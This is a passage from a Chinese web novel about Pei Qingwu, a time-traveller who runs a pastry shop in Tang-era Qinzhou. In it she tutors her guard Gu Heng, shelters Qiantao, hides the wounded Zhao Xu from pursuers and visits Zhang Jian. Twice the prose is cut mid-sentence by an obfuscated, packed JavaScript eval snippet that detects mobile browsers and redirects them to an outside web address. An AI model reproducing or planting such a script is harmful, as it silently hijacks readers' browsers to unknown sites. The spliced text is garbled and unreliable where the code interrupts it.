做好的酥糕层层叠叠如螺钿，色泽金黄灿烂，胡麻粒粒饱满如金粟，吃起来酥脆掉渣，内里软糯适口，醇香混着微甜，当年裴清梧去常州玩时买了两块，惊为天饼，现在搬到古代来，也颇受人喜爱。 餐饮业从古至今都不太好干，都是辛苦活，裴清梧常看母亲头一天就早早起来，开始备材料、做东西，那一块又一块的点心，攒出了裴清梧的生活费和学杂费，也让母亲年纪轻轻就累出了一身的毛病，如今，她也是切身体会到了。 但再怎么辛苦，也是自己的手艺，是能让自己不靠别人就吃上饭的手艺，正如当年生物爹出轨且家暴后，是母亲提出离婚，独自抚养自己的底气，也是自己能在古代安身立命的本事，有了这个小店，她可以过自己想过的生活，不必像原身一样，花一般的年纪，被磋磨致死，也无处申冤。 做完之后，已是丑时，银岚熬不住睡去了，顾恒却还守在外头，一边看书，一边等她。 醉月楼鸨母怎么可能让他读书，就只阿娘不忙的时候，会教他识字，毕竟是个秦州有名的花魁，顾皎识文断字，还会写诗和小令，可他一看见字就头疼，没认真学多少。 来了裴清梧身边后，由于骨子里的劝学血脉，她也让他读书，威胁他不听话就断月钱，顾恒才老老实实地捧着本《诗经》看。 “怎么还在等着，不是说不用陪着我熬，你自去睡就好。”裴清梧擦着手，温和地笑问他。 “反正我也睡不着，就当陪东家了。”顾恒一边说，一边翻了一页书。 裴清梧探头看去，咧了下唇：“看得这么快，昨日还才刚看《蒹葭》呢，只是看得快，却要记在脑子里啊。” 顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230896|181774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恒心虚地别过头。 “而且，你确定你真的看懂了？就比如这《桃夭》，它是什么意思，你真的懂？”裴清梧追问道。 “桃、桃……”他结结巴巴。 以前醉月楼有个叫桃夭的，后来，被秦州都督赎走做妾了，他当时只知道名字好听，却不知是来自于《诗经》，更不知是什么意思。 说着，顾恒深深垂首。 他不肯读书的时候，阿娘就会打他，流着泪说不读书，你当怎么办呢，不确定裴清梧会不会像那样。 应当不会吧，哪有主家会对护卫这般上心的。 可裴清梧不是普通主家啊…… 心里头一个小小的声音对他说。 纠结着，裴清梧从他手中抽掉书，往他身边一坐，挨得近了，她身上的味道就往他鼻子里钻。 贵女们爱用香，炒得沉香麝香等一斤值千金，裴清梧显然用不起，但每日在庖厨里泡着，身上难免有味道，为了祛味，浣洗完衣服，她就用橘柚皮浸渍，是一股淡淡的果香，格外沁人心脾，清雅至极。 也闻得顾恒脸红。 “夭夭者，嫩柳迎风之态，如少女纤腰袅袅；灼灼者，霞光透瓣之色，似新妇玉面含春。古人以桃木为辟邪嘉木，其花娇而不妖，艳而不冶，以此初绽之桃拟嫁女，既颂其芳华正盛，更暗喻为家室添祥瑞之深意，所谓‘宜室宜家’，非止容颜称美，实赞新娘有中和之德，如桃实可养人矣……” 裴清梧本着认真解读的想法，可顾恒一听此诗是描写新妇出嫁之景，且为新人送上祝福，不知怎的，脸红得更厉害了。 “……花容终随四时改，家道当以百岁计，硕果累累，既兆多子之吉，《礼记》云，‘桃多子’，祥符也……” 裴清梧还在滔滔不绝，顾恒却猛地起身：“东家，我乏了，想去睡觉了。” 说罢，他便转身匆匆忙离去。 “哎？”裴清梧不解，低头看了看手里的书，恍然大悟一般——顾恒不过十五岁不到十六岁的少年郎，正是该思慕的季节，读这种诗，显然会胡思乱想。 罢了，明日找《楚辞》给他看，顺便教教他屈原的为人。 自己也起身回去睡时，裴清梧却又想起了别的事。 刚穿过来的时候，刘氏要强将自己许配给孙成为妾，虽说自己懂律法，以此脱身，可若无张俭公仗义执言，恐怕脱离孙家自立女户之事，也没那么顺遂。 眼看着要过年了，总得找个时间，带着礼物上门拜访一下张公。 只不知道张公喜欢什么，该送他些什么好。 要不，还是做些点心送，反正自己最擅长这个，且自己亲手做的东西，无论哪朝哪代，都是最有诚意的。 南昌花酥、糖沙翁、豌豆黄、桂花糕……似乎都不错，酥软好克化，还不粘牙，正宜老人吃，样子也好看，送礼拿得出手，材料也简单，没有的，明日出门买就是了。 花酥的猪油还可以换成玉米油，减轻肠胃负担。 想好之后，裴清梧满足睡去。 第二日，她将做好的点心一一摆上柜台，让顾恒把昨晚熬夜烤出来的金粟千层旋包好，往秦州司马府上送去，嘱咐银岚好生招待买点心的客人，自己出门买材料去了。 要买些玉米油，买些莲蓉，豌豆，以及家里的面粉和糯米粉也所剩不多，都要买。 一路盘算着，不知不觉，走到了醉月楼门前。 发现了之后，她本想离得远些，顾皎死时的惨状还在她心里盘旋，她对这种地方实在没什么好印象，脚步还未迈动，却在冰天雪地里，瞥见一个熟悉的身影。 天寒地冻的时节，她却只穿着轻纱襦裙，手脚都被冻得通红，瑟瑟发抖，垂下的发丝也在抖，狼狈极了。 正是有过一面之缘的茜桃。 “茜桃？你在这里做什么？” 茜桃抬眼，她的睫毛已经冻上了一层薄霜，见是裴清梧，嗫嚅道：“我，我今日身子不适，客人却非要我陪，我推脱了一下，就把我丢出来了……” 10. 结识赵叙 她是有什么必要完成的捡受伤男人的KPI吗？怎么只是正常走个路，就又遇上一个受伤男人呢？ 裴清梧来不及吐槽什么，就听闻远处隐隐传来杂沓的脚步声和压低的凶狠呼喝：“仔细搜！定是在这坊曲之中，他跑不远的，血迹到这儿断了！” 闻言，赵叙顾不得许多，握着她手腕的力道又紧了几分：“裴东家……” 裴清梧目光扫过巷子深处，极窄的狭巷，仅容两人并肩，曲折幽深，堆满杂物，躲无可躲，一眼便能望穿，若任由他们追来搜查，赵叙必然暴露。 没过多思考，裴清梧反手抓住赵叙捂在伤口上的那只手，用力将他整个人往自己这边一按。 赵叙猝不及防，被她大力带得踉跄一步，半个身子几乎贴靠在她身上，浓重的血腥气瞬间将她包围。 “低头！”裴清梧急促地低喝一声，不等赵叙反应，已踮起脚尖，伸出双臂猛地环抱住他的脖颈，将他的脸强硬按向自己的颈窝。 与此同时，她猛地将自己头上那顶用来挡雪的幂篱①用力往下一扯。 宽大的帽裙如同瞬间垂落的幕布，借着狭窄巷道的阴影，将两人相拥的上半身，尤其是赵叙的面容，遮得严严实实。 雪白的轻纱拂过赵叙的面颊，使得他身体骤然僵直，伤口被挤压得一阵剧痛，但他瞬间明白了裴清梧的用意，强忍着没有推开，反而极其配合地微微弯腰，将头更深地埋入她的颈窝，伪装成极度亲昵的姿态。 宽阔的脊背挡住了裴清梧的大半身形，也挡住了他肋下的伤处。 “嘘……别出声！” 裴清梧的声音透过幂篱的薄纱，带着不易察觉的颤抖，心跳如擂鼓，却死死抱着他，仿佛真是热恋中难舍难分的情侣。 沉重的脚步声，伴着兵器摩擦甲胄的声音，急促地逼近。 “头儿！这里有血迹！”一个粗嘎的声音响起。 “搜！” 几道身影堵在了狭窄的巷口，火把的光线骤然涌入，将相拥的两人投射在巷壁上，影子被拉得老长，透过薄纱，晃得裴清梧眼前一片昏黄。 她心中警铃大作，急中生智，猛地拔高了嗓音，带着明显的哭腔和嗔怨，声音又娇又颤，极力模仿着那些小娘子与情郎闹别扭的腔调：“呜……你这狠心的贼！大雪天非要拉人家出来！冻死了！就不怕我着了风寒，明日见不得人么？就知道哄我！方才那卖胡饼的娘子多看了你一眼，你魂都丢了是不是？我不管！这鬼地方又冷又黑，我要回去！呜呜……” 她一面假哭，一面用手在赵叙的后背不轻不重地捶打了几下：“抱紧些！冻煞我了！” 这番做作，活脱脱一个在僻静处与情郎私会撒娇又吃飞醋的小娘子模样。 那几个追兵举着火把，被这突如其来的野鸳鸯惊得脚步一顿。 火光下，一对男女紧紧相拥，女子带着幂篱看不清面容，只露出纤细的下颌和环抱着男子脖颈的雪白手腕，男子则仿佛在温言安抚，将头深深埋在女子颈窝，姿态亲昵狎昵。 为首的汉子低声啐了一声：“原只是躲这儿偷腥的！” 另一个追兵皱着眉，借着火光仔细扫视两人脚下和周围，除了些杂乱的脚印，并未发现新的血迹。 巷子太窄，又被这两人堵了大半，实在不便强行闯入搜查。 “血迹到此为止，怕是那厮用了什么法子止住了……”有人低声道。 为首的汉子目光在紧紧相拥的两人身上又扫了一圈，烦躁地挥了挥手：“娘的，别在这儿耽误工夫！去别处搜！仔细盯着坊门和医馆药铺！” 脚步声和火光迅速远离，渐渐消失在风雪呼啸的街巷深处。 巷子里恢复了黑暗与死寂。 裴清梧紧绷的心弦骤然松弛，几乎脱力。 她这才发觉自己后背已被冷汗浸湿，手脚冰凉，刚想松手推开赵叙，环在他颈后的手臂却被一只温热且带着薄茧的大手轻轻按住。 “请裴东家再稍待片刻。”赵叙的声音贴着她的耳畔响起，低沉沙哑：“恐其去而复返，或留了眼线。” 一想到这种可能，裴清梧不敢再动，只能屏住呼吸，僵硬地维持着拥抱的姿态。 罡风在巷口呼啸盘旋，卷起地上的雪沫，不知过了多久，直到确认外面彻底没了动静，赵叙紧绷的身体才缓缓放松，按着她手臂的力道也松开了。 他艰难地直起身，伤口被扯动，闷哼一声，踉跄着后退一步，靠在了对面的墙壁上，大口喘息。 裴清梧也赶紧松开手，一把掀开碍事的幂篱，大口呼吸着冰冷的空气，只觉脸颊滚烫。 “裴东家……”赵叙的声音带着浓重的歉意和感激：“仓促之间，辱及娘子清誉，实乃无奈之举，赵某惭愧万分，万死难辞其咎！” 裴清梧摆摆手，心有余悸地抚着胸口：“赵郎君言重了，事急从权，保住性命要紧，清誉什么的……权当被狗啃了罢……” 她语气尽量轻松，试图化解尴尬。 赵叙微微一怔，似乎没料到她会如此豁达直白，眼中掠过一丝惊讶，随即竟浮起一丝笑意。 “早就听说裴东家名声，今日一见，果然非凡，东家高义，赵某铭记。”他说着，从怀中费力地摸索片刻，掏出一物递了过来。 是一枚小巧的羊脂白玉佩，雕琢成精致的凤鸟衔芝形状，玉质温润，在黑暗中都自带微光，一看便知非寻常之物。 “此乃赵某随身信物，凭此玉佩，娘子可随时至赵府寻我，亦可持此玉环，在城内恒通柜坊②支取纹银百两，权作今夜救命？及补偿之资。”他语气郑重：“日后东家但有驱策，只要不违道义国法，赵某定当倾力相助。” 她推脱了几番，但赵叙依旧坚持，见他的脸色因失血愈发苍白的脸色知道再推拒下去，只会耽误他疗伤。 “也罢。”她将玉佩小心收入袖中：“奴家暂且保管，郎君速去寻医吧，伤势耽搁不得。” 赵叙深深看了她一眼：“裴东家保重。” 话音未落，他已强提一口气，身形如矫健的豹，迅速转身，几个起落便消失在巷子更深的黑暗与风雪之中，再无踪迹可寻。 唯有空气中残留的淡淡血腥气，证明方才惊心动魄的一幕并非幻觉。 巷子里彻底安静下来。 裴清梧靠在冰冷的土墙上，长长地吁出一口白气，只觉得心力交瘁。 “这都是什么事儿啊……”她揉了揉额角，无奈地低语：“先是阿恒，再是赵叙……我这是犯了哪路太岁？合该去开个医馆或者镖局才对！” 说着，她摇摇头，重新戴好幂篱，紧了紧身上的衣衫，走出暗巷。 买好了东西后，她不敢耽搁，生怕路上再捡到什么人，急匆匆回了家。 屋内，银岚烧了热水，让茜桃沐浴，一边洗着，一边还拿了柚子叶，在她身前虚虚地滑过，笑道：“祛祛那腌臜地方带出来的晦气，往后茜桃娘子的一生，顺顺遂遂了。” 雾气弥漫中，茜桃红了一双眼，抿唇不语。 “呀，东家回来了？” 见裴清梧解了斗篷进来，银岚忙迎上来：“外头风雪是不是愈发大了？东家可是挨冻了？这么冷的天，就不该出去……” 她一面絮叨着，一面替裴清梧打理衣裳。 “还好，不是很大，我倒也习惯了。” 在现代她就是北方人，秦州虽说属于西北，但气候更接近南方，这点风雪，比起她曾见过的，还差得远呢。 “东家可是饿了？我做了些葫芦头③泡馍，正巧茜桃娘子也洗完了，你们一同用些，也暖暖身子。” 裴清梧确实饿了，奔波许久，又救了茜桃和赵叙，情绪大起大落后，人总会饥肠辘辘。 “好。”她笑着点了点头，因不见顾恒，随口问了一句：“阿恒呢？阿恒去哪儿了？” “哦，阿恒说你回来定是要接着做点心的，他去厨房给你烧了炭火。” “倒是个妥帖孩子。”裴清梧叹了一声。 此时茜桃也洗好了，银岚给她找了一身素色棉袍，穿着略显宽大，却掩不住洗去铅华后的清秀？乌发微湿，带着水汽，衬得面庞愈发白皙，唯有眼眶的红痕未消。 她安静地立在裴清梧身旁，带着初离牢笼的拘谨与茫然。 银岚手脚麻利，已将两张矮几并在一处，捧上两个热气腾腾的青瓷海碗。碗中汤色奶白浓郁，浮着切成斜片的葫芦头，油脂透亮，配着掰成指尖大小、吸饱了汤汁的硬面饼块，其上点缀着翠绿的葱花和几粒橙红的枸杞，并几片鲜嫩的猪肚片。 骨汤经久熬煮后的精华醇香浓厚，混合着肠肚特有的丰腴，勾得人腹中馋虫大动。 “快坐下，趁热吃。”裴清梧招呼茜桃，自己也盘膝坐在毡垫上。 奔波之后，这香气格外诱人。 茜桃依言坐下，拿起银匙用饭。 甫一入口，滚烫浓厚的汤汁便熨帖了肠胃，鲜香直透脊背，肠段处理得极干净，毫无秽气，入口软糯弹牙，肥而不腻，饱吸了骨汤的精华，滋味异常醇厚。 泡馍块外软内韧，嚼劲十足，裹挟着汤汁的鲜美在齿间回荡。 裴清梧吃得额头微汗，齿颊留香，忍不住赞道：“银岚这手艺越发好了，这葫芦头熬得地道，汤头也鲜。” 银岚在一旁布箸，闻言笑道：“东家喜欢便好，多用些，暖暖身子骨。” 碗中热气氤氲，屋外风雪声隐约。 裴清梧看着茜桃小口小口地吃着，待她看着像快吃完的时候，便温和问道：“茜桃娘子，莫怪唐突，不知你原是何处人氏？家中可还有牵挂？” 茜桃执匙的手微微一颤，一滴汤汁溅落在矮几上，头垂得更低，声音细若蚊呐：“回东家话，奴、奴本姓程……名字早记不清了，只记得家在离秦州很远的乡下，也只记得有个阿爷，身子骨长年不好，卧在榻上，日日离不得汤药……” 说到此处，她哽咽了一下，强忍着继续道：“那时节实在没法子了，田里收不上粮，药钱又贵……后来、后来便把我给卖了……” 小娘子语声凄楚，再也说不下去，只余阵阵压抑的抽泣声。 裴清梧心中恻然，放下银匙，伸出手，轻轻用拇指拭去茜桃脸颊上的泪水：“莫哭莫哭，都过去了，那些腌臜事、腌臜地方，从此与你再无干系。” 茜桃抬起婆娑泪眼，望向裴清梧。 裴清梧迎着她的目光：“银岚为你用柚子叶祛晦，是为你迎新，卖身 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好像这院子旁的地方也无人居住，不如攒够了钱，找牙行的人一并买下，扩充成个大院子，反正自己也早晚要扩大经营规模的。 裴清梧这样想着，嘱咐茜桃好好睡觉，自己往厨房去，预备做明日带给张公的点心。 厨房内，一个清瘦的身影背对着他，拨弄着炭盆。 “阿恒，还不睡啊？” 闻言，那身影猛地一颤，像是被惊扰了清梦的狸奴，慌忙转过身来。 火光映照下，少年白皙的脸颊被热气熏出两抹薄红，眼神有些躲闪，低声道：“东家，我、我等等您……炭火刚旺起来，正好合适做点心。” 裴清梧走近，炭火的暖意立刻包裹上来，她看着顾恒微垂的侧脸，烛光在他长长的睫毛下投出浅浅的阴影，轻笑道：“点心明日做也不迟，快去歇着吧，仔细熬坏了眼睛。” “不碍事的……”顾恒声音透着股执拗，依旧拨弄着炭盆里的余烬，火星噼啪轻响。 恰在此时，一阵极其清晰的“咕噜”声，突兀地从顾恒腹部传来，在静谧的厨房里格外响亮。 顾恒整个人瞬间僵住，耳根肉眼可见地变得通红，仿佛要滴出血来，窘迫得恨不能找个地缝钻进去，手中的火箸都差点掉落。 他猛地站起身，语无伦次：“我、我先回……” 裴清梧眼疾手快，一把拉住他微凉的手腕：“走什么？正是拔节抽条长身体的时候，饿不是顶寻常的事？硬撑着反倒伤身。” 顾恒被她拉住，动弹不得，只觉得被她握住的地方滚烫一片，直烧到心里去，头垂得更低了，讷讷道：“我……我真不饿……” 话语却苍白无力，又一声响亮的腹鸣，便是最好的反证。 “嘴硬。”裴清梧松开他的手腕，自然地挽起自己襦裙的窄袖，露出半截莹白的小臂。 她走到墙角堆放杂物的筐边，弯腰挑拣出两块个头饱满圆实的芋头：“正好，省得你来回跑。先坐着暖暖身子，我用这炭火给你煨两块芋头垫垫饥，再快烙几张饼，很快就好。” 顾恒依言坐下，蜷在温暖的炭盆旁，目光却不由自主地悄悄追随裴清梧忙碌的背影。 只见她麻利地用火箸在炭盆边缘刨出两个浅坑，将芋头埋了进去，又覆上一层薄薄的热灰。 动作间，发髻旁一缕碎发散落颊边，随着她的动作轻晃。 很快，一股奇异香气便从炭灰下丝丝缕缕地钻了出来，焦糊中透着清甜，越来越浓。 用火箸小心地拨开灰烬，露出两个表面已烤得焦黄的芋头，夹起一个，在手里掂了掂，烫得她飞快地在两手间倒腾了几下，才递给顾恒：“喏，小心烫手，慢点吃。” 顾恒双手接过，那热气腾腾的芋头表皮裂了好几个口子，露出内里雪白粉糯的芯子，小心翼翼地掰开滚烫的外皮后，一股更馥郁的热气扑面而来。 白生生的芋肉冒着白烟，颤巍巍的，入口软糯香甜至极，还带着炭火独特的焦香风味。 “好吃吗？”裴清梧一边问着，一边已快手快脚地和起一小团面，擀成薄片，又从陶罐里挖了一勺雪白的猪膏，均匀地抹在面片上，撒上一小撮细盐和碾碎的黑芝麻粒。 铁鏊子早已被炭火烤得滚烫，面饼“滋啦”一声摊开在其上。 霎时，麦香混合着猪油受热的焦香猛地炸开，强势地盖过了芋头的清香。 那饼在热鏊上迅速变色，边缘微微卷翘，无数细小的油泡在饼皮表面欢快地跳跃，滋滋作响。 裴清梧手腕翻飞，利落地将饼翻面，另一面同样被烙得金黄诱人，一层层酥皮在火光下清晰可见。 不过片刻，几张金黄酥脆、油润喷香的烙饼便摞在了一旁干净的盘子里，裴清梧拿起最上面那张，热乎乎地递给顾恒。 顾恒接过那烫手的饼，低头大口咬下，饼皮焦脆掉渣，内里却带着韧劲，咸香适口。 他吃着饼，再次偷偷抬眼去看裴清梧。 她正微微弯着腰，借着炭火的光亮，专注地查看另一枚芋头的火候，火光跳跃在她清澈的眼眸里，像落入深潭的星子。 风雪之声被隔绝在厚厚的门窗外，小小的厨房里，只有炭火偶尔的噼啪和少年满足的咀嚼声。 11. 危机降临 细腻的麦粉倾入青瓷海碗，掺入新磨的糯米粉，以井水细细调开，纤指揉捻之间，面团渐如羊脂玉般莹润生光，覆上湿葛布静置。 待发酵好，便取面团分作小剂子，擀开后铺上莲蓉或红豆沙，叠为千重云罗，刷上透亮的玉米油，送入胡饼炉，以暗火慢烘。 这个时间，正好另取面团搓成龙眼核大小，油烧得滚烫，眼见浮起，便迅速捞出，趁热滚进石臼里研磨出来的蔗糖霜，糖霜遇热凝得如同琥珀一般，脆壳下绵若新絮，其中千万雪山纠缠，软糯可口。 那边胡饼炉里的花酥也好看，酥香透壁，现出金菊雪蕊之姿，层次分明间，隐隐可见莲蓉赤金，与豆沙暗绡。 那边豌豆仁早已文火煨绵，滤净浇入浅碟，添上化了的蔗糖搅匀，先在井水里镇着，明日起来，会凝固好，到时再切成方胜菱花。 糯米浆也滤好，拌入腌的桂花糖渍，层层浇入竹屉，以猛火催得白雾弥漫时，揭笼便见凝脂缀金，浓郁的桂花香气扑鼻而来，拿刀切的时候，软如云朵，诱人极了。 忙完这一切，夜已深到月亮都打起了盹，顾恒却依旧陪着她，尽管已经困到脑袋如同小鸡啄米一般，一点一点。 “难为你陪我这么久，快去睡吧。”裴清梧推了推他，而后从灶台上端来温好的牛乳递给他，怜爱道：“喝了热牛乳再去睡，能睡得踏实。” “嗯……” 第二日裴清梧倒没着急去拜访张公，大清早饶人清梦，实在是不太厚道，先只在柜台前卖点心，带着茜桃一起，算是让她熟悉业务。 离了醉月楼，茜桃穿的要朴素许多，不过一件浅粉色棉质襦裙，发髻只用两支小银簪子绾着，鬓边压着一朵米珠儿攒成的珠花，端的一派清水出芙蓉，天然去雕饰。 裴清梧的容貌其实也不差，只是她的美，并非茜桃那种令人一眼惊艳、不可方物的明艳，生得温婉清丽，一张鹅蛋脸柔和饱满，肌肤如新雪般莹白剔透，唇边时常挂着柔和的笑意，如山间涓涓细流，又如同雨后初霁的晴空，明朗却不刺眼。 二位俏生生的小娘子往柜台后一站，便是活招牌。 一上午客流量不低，裴清梧有意锻炼茜桃，每每有客人至，便叫她上前，试着介绍一番。 “这是咱家的招牌龙须酥，是东家起家的绝活儿，拿受热融化的饧糖，裹了糯米粉拉丝，模样如雪堆儿一般，咬下去是千丝万缕，软糯如新絮的芯儿，甜丝丝的，入口即化，半点不粘牙，有道是‘其中千万雪山纠缠’，又酥又糯，秦州城里独一份。” “这是玉絮糕，拌了秘制桂花糖渍的糯米浆，层层蒸浇，蒸足了火候，才得了这般质感，瞧这切面软如云朵，甜味全靠熬化的上好蔗糖和桂花蜜，是以清甜不腻，咬下去满口桂香，喉咙都是润的，配一盏清茶吃，最熨帖不过，今早才出锅的头一屉，软糯正好，您可以先尝尝。” 茜桃起初还有些拘束，声音放不开，但很快便找到了感觉，毕竟曾有在醉月楼里应对八方来客的玲珑劲儿，说着说着便渐入佳境，声音温软，语调轻快。 “我们这酥山小集，所有点心，都是裴东家独门的秘方，只有这里有，旁的地儿花多少钱都买不到，连秦州刺史家的千金赵娘子都觉着好。” 新鲜，好吃，再加上高门显贵喜欢，人呐，总有种心理，觉得自己用过吃过和贵人一样的东西，便和贵人没什么分别了，茜桃倒挺会抓这种心理的，牟足了劲，要把来客的钱包掏干净。 裴清梧在旁边瞧着，越瞧越觉得茜桃不错，便嘱咐顾恒和银岚帮忙看好店，自己去了张俭家。 张俭家离安业坊不算近，怕点心跑了味，裴清梧特地奢侈了一把，雇了个马车过去。 他致仕前也不过秦州府衙之吏，又是个正直的，是以家里并不奢华，也就一个小院子，只一个头发花白的老妈子看门，引了裴清梧进去。 院中陈设也极简单，正符合了文人的清雅趣味，方方正正的小院一角，用青砖砌了个小花坛，植着几株修竹，疏朗挺秀，另一角则搭了简易的木架，上边铺晒着几卷有些发黄卷边的书籍，并几册用细麻绳装订的手稿。 正堂的门敞着，挂着半旧的细竹帘，能隐约看见里头空荡荡的堂屋，并不怎么大，只摆了一张磨到发亮的旧方桌和同样上了年纪的圈椅，扶手处油润光滑，墙上挂着一副山水画，泼墨雅致，笔意疏淡，桌上放着一套白瓷茶具，茶盘边缘好像崩了一个小口。 一股若有似无的苦涩药草香味，淡淡地弥漫在空气中，似是从厨房传来。 “张老佐史是生病了吗？怎么，在喝药啊？”裴清梧忍不住问了一句。 “哦，不过是上了年纪，身子便多多少少有些不虞之处，煎着草药养生罢了。”老妈子答。 引着裴清梧进了正堂后，张俭与其夫人已闻声迎了出来。 张公还如曾经初见时一般，须发半白，身形清癯，穿着一件洗得有些发白的靛蓝圆领袍，精神矍铄，眼神依旧透着读书人的清亮与洞明。 张夫人则慈眉善目，穿着素净的赭色襦裙，发髻梳得一丝不苟。 “裴娘子来了，快请坐。”张俭声音温和，带着些许沙哑。 裴清梧忙敛衽行礼：“晚辈裴清梧，拜见张公，拜见老夫人，久未探望，实在失礼，今特备了些自家做的粗陋点心，聊表心意，还望莫要嫌弃。” 说着，便将精心包扎好的点心匣子奉上。匣盖微启，隐约透出酥点的甜香与桂花的清芬。 张夫人笑着接过：“娘子有心了，这味道，闻着就叫人食指大动呢。” 老妈子奉上茶水，正堂里顿时飘散开陈茶的微涩与新点心的甜香。 几人分宾主落座，张俭啜了口茶，关切问道：“听闻娘子自立了女户后，开了这酥山小集，着实不易，你前头那个……可还再来纠缠生事？” 他指的是裴清梧那不省心的前夫家。 裴清梧微微摇头，温言道：“劳张公挂心，自得了官府的判，他们心里有怨，也不敢来放肆了，如今守着点心铺子，日子倒也清净安稳。” “那就好。”张俭颔首，眼中带着赞许：“女子行商贾之事，抛头露面，其中艰难，老夫亦能想见一二，娘子能有此志气与手艺，实属难得。” “不敢当张公谬赞。”裴清梧欠身道：“若非当日张公仗义执言，主持公道，清梧焉有今日？此恩此情，清梧一直铭记于心，不敢或忘。” 张俭摆摆手，叹道：“不过是举手之劳，娘子不必再提，看到你如今这般自强自立，老夫心中甚慰。” 闲话了几句铺中琐事，裴清梧想起那夜遇到的赵叙，心中微动，便自然地引着话头道：“说来也是凑巧，前几日深夜，我竟无意间撞见一位重伤的郎君，还被人追着，幸好福大命大，没被仇家抓走。” “哦？竟有此事？”张俭夫妇俱是一惊：“可知是哪家的郎君？如今可安好了？” 裴清梧摇摇头，面上带着几分恰到好处的困惑与后怕：“当时救人要紧，未曾细问，那人醒后也只道谢，未通姓名来历便匆匆离去，但我观其气度，倒不似寻常百姓，只是伤得那般重，又夜半出现在坊巷深处，着实蹊跷，张公您在府衙多年，见多识广，不知近来城中，可有什么风声吗？” 张俭闻言，眉头微蹙，指节下意识在磨得油亮的旧桌面上轻轻敲了两下，若有所思。 须臾，他似乎想到了什么，低声问道：“那郎君可是生得颇为英武，眉宇间却带着一股子桀骜不驯之气？” 裴清梧心中微动，面上却只作回忆状：“确如张公所言，气宇不凡，只是当时重伤狼狈，我没能瞧清楚，莫非张公识得此人？” 张俭轻哼一声，带着几分了然的无奈笑意：“若老夫所料不差，娘子救下的，十有八九是咱秦州赵使君家那位最令人头疼的大郎君赵叙。” “竟是赵刺史的公子？！”裴清梧佯装吃惊道。 “不错。”张俭又啜了口茶，缓缓道：“这赵家大郎，可忒让赵使君头疼了些，使君一心盼他读书进学，走科举正途，博个功名光耀门楣，奈何此子自小便喜好弓马，性情刚烈，前些年更是瞒着家里，一意孤行去投了军……听说在陇右边军里倒是混出了些名堂，凭着敢打敢拼和些许家世荫蔽，年纪轻轻，竟已做到了陇右道行军总管帐下的正六品上昭武校尉，领一营兵马了。” “赵使君对此是又欣慰又气恼，欣慰的是儿子总算有了出息，气恼的是终究是走了武夫的路子，背离了他的期望。这次突然重伤潜回秦州……”张俭的眉头又皱紧了，压低声音：“恐怕不是小事，多半是军中机密任务出了纰漏，或是得罪了狠人遭了暗算，娘子救了他，算是缘法，但也莫要声张，以免惹上不必要的麻烦。” 裴清梧听得心中波澜起伏，面上却维持着镇定，忙应道：“多谢张公提点！晚辈省得轻重，此事定当守口如瓶。” 正说着，张俭忽然低声咳嗽起来，张夫人连忙轻抚其背，又端了温水递过去。 老妈子也赶紧从厨房端来一小碗刚熬好的药汤，那股苦涩的药味又浓了几分。 “张公的身子……”裴清梧关切问道。 “不妨事，老毛病了。”张俭喝了药，缓了口气，摆摆手：“人老了，气血终究不济，偶感风寒罢了。娘子不必挂怀。” 见张俭面露疲色，裴清梧知趣地起身告辞：“张公和老夫人好生歇息，晚辈改日再来看望。” 张夫人扶着丈夫，微笑道：“娘子慢走。这点心，我们定要好好尝尝。路上小心。” 裴清梧再次行礼，由老妈子恭敬地送出了院门。 回了铺子的时候，已是中饭时节，按着裴清梧的吩咐和往日习惯，酥山小集暂且闭店，后院厨房，银岚琢磨着午饭做些什么。 “东家回来了？”顾恒远远就瞧见了她，忙起身道，言语间隐隐欢喜。 “这几日路上可不好走，东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230899|181774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家坐了车，那马行的还稳当吗？”银岚也问。 裴清梧笑：“哪里那么夸张，这不是回来了吗……嗯，好香，银岚，你打算做什么吃？” 银岚正往陶盆里倾入筛好的麦粉，清水徐徐注入，五指翻飞搅作絮状，口中应道：“天寒，想着做些热乎的，胡麻旋饼和羊肉菘菜羹就不错。” 裴清梧点头赞道：“听着便暖胃。” 又含笑转向茜桃：“今日如何？可累了？” 茜桃眼睛亮晶晶的，脸颊因忙碌泛着健康的红晕：“不累！比在醉月楼自在多了，客人也和气，就是刚开始介绍时，嗓子有点紧，后来学着东家说的，想着那点心有多好吃，话顺溜了，声音也跟着大了些。” 说话间，胡麻炒香碾碎，和了椒盐，揉进发好的面团里，擀开旋成圆饼，先在铛上烙出焦壳，再送入灶膛边上，借那余温烤熟了，一层层起酥爆开。 吊了半日的羊骨浓汤，撇了浮油，拿井水湃过的嫩菘菜心细细切了丝，投入滚沸的汤中略滚，再撒一把碎芫荽，点了几滴新榨的麻油。 不多时，银岚便端上饭菜。 金黄油亮的胡麻旋饼层层叠叠，热气裹挟着椒盐与芝麻的焦香，轻轻一掰，脆皮簌簌落下，里头是带着嚼劲的软面。 奶白的浓汤上浮着翠绿的菜丝与碧绿的芫荽末，羊肉的醇厚与蔬菜的清甜融于一鼎，寒气顿时被驱散大半。 众人围坐，就着羹汤，吃着喷香的旋饼，小小的后院暖意融融。 饭毕，茜桃从袖中取出一张红纸单子：“东家，今日有位衣着体面的娘子来，替她家将要迎娶新妇的郎君订点心，说是喜宴上用，要看着喜庆吉利才好，这是她留下的单数和定金。” 裴清梧接过单子，扫视着沉吟，脑海中瞬间掠过无数后世精巧的点心样式。 既要符合唐代审美，又要喜庆新颖…… 思索片刻后，眼中光彩渐聚，提笔蘸墨，在单子背面勾勒起来。 